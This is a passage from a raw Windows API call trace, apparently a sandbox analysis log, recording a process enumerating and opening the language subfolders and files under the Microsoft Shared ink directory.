shared\\ink\\lt-lt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0047.107] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0047.107] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9e5620 [0047.107] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9e5620, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9e5620, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0047.107] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e5620) returned 1 [0047.107] NtClose (Handle=0x16c) returned 0x0 [0047.108] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0047.108] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0047.108] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0047.108] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed500 [0047.108] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0047.108] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.108] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe608f802, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe627e9bb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe62a4b18, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.108] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0047.108] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0047.108] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0047.108] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0047.108] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0047.108] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9ddc90 [0047.108] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0047.108] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e0e48 [0047.108] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e49d0 [0047.108] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0047.108] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe608f802, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe627e9bb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe62a4b18, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.108] GetLastError () returned 0x12 [0047.108] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0047.108] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0047.108] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.108] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe608f802, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe627e9bb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe62a4b18, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.108] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe608f802, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe627e9bb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe62a4b18, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.109] GetLastError () returned 0x12 [0047.109] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed500) returned 1 [0047.109] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0047.109] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ddc90) returned 1 [0047.109] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0047.109] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv-LV", cAlternateFileName="")) returned 1 [0047.109] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0047.109] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lv-lv"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0047.109] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lv-lv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x160 [0047.109] SetFileTime (hFile=0x160, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0047.109] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9e5620 [0047.109] DeviceIoControl (in: hDevice=0x160, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9e5620, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9e5620, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0047.109] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e5620) returned 1 [0047.109] NtClose (Handle=0x160) returned 0x0 [0047.110] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0047.110] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0047.110] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed500 [0047.110] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0047.110] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0047.110] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.110] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe721d8e0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe7432bf6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe7458d53, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.110] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0047.110] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0047.110] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0047.110] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0047.110] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0047.110] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9ddc90 [0047.110] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed500) returned 1 [0047.110] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e0e68 [0047.110] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e4ad8 [0047.110] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0047.110] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe721d8e0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe7432bf6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe7458d53, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.110] GetLastError () returned 0x12 [0047.110] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0047.110] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0047.110] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.110] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe721d8e0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe7432bf6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe7458d53, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.110] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe721d8e0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe7432bf6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe7458d53, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.111] GetLastError () returned 0x12 [0047.111] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0047.111] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0047.111] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ddc90) returned 1 [0047.111] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0047.111] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69e22d6e, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x69e22d6e, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x3188e7b0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1a0200, dwReserved0=0x0, dwReserved1=0x0, cFileName="micaut.dll", cAlternateFileName="")) returned 1 [0047.111] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x472c5956, ftCreationTime.dwHighDateTime=0x1ca040e, ftLastAccessTime.dwLowDateTime=0xa4945a00, ftLastAccessTime.dwHighDateTime=0x1ca0424, ftLastWriteTime.dwLowDateTime=0x9fcc4285, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x7c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Ink.dll", cAlternateFileName="")) returned 1 [0047.111] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa12394d3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa12394d3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa125f634, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x179c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mip.exe", cAlternateFileName="")) returned 1 [0047.111] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ad46e47, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5ad46e47, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x344e2230, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x609c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mraut.dll", cAlternateFileName="")) returned 1 [0047.111] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66c00201, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x66c00201, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x34eb4c90, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xc200, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwgst.dll", cAlternateFileName="")) returned 1 [0047.111] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x901e133e, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x901e133e, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x353c2bb0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x105a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwLatin.dll", cAlternateFileName="")) returned 1 [0047.111] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0047.111] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0047.111] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nb-no"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0047.113] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nb-no"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0047.113] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0047.113] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9e5620 [0047.113] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9e5620, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9e5620, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0047.113] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e5620) returned 1 [0047.113] NtClose (Handle=0x16c) returned 0x0 [0047.113] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0047.113] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0047.113] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0047.113] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0047.113] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0047.113] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.113] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xead074bc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeaef6675, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeaef6675, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.113] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xead074bc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeaef6675, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeaef6675, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.113] GetLastError () returned 0x12 [0047.113] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0047.114] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0047.114] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.114] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xead074bc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeaef6675, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeaef6675, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.114] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xead074bc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeaef6675, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeaef6675, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.114] GetLastError () returned 0x12 [0047.114] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0047.114] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0047.114] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ddc90) returned 1 [0047.114] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0047.114] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0047.114] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nl-nl"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0047.114] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nl-nl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, 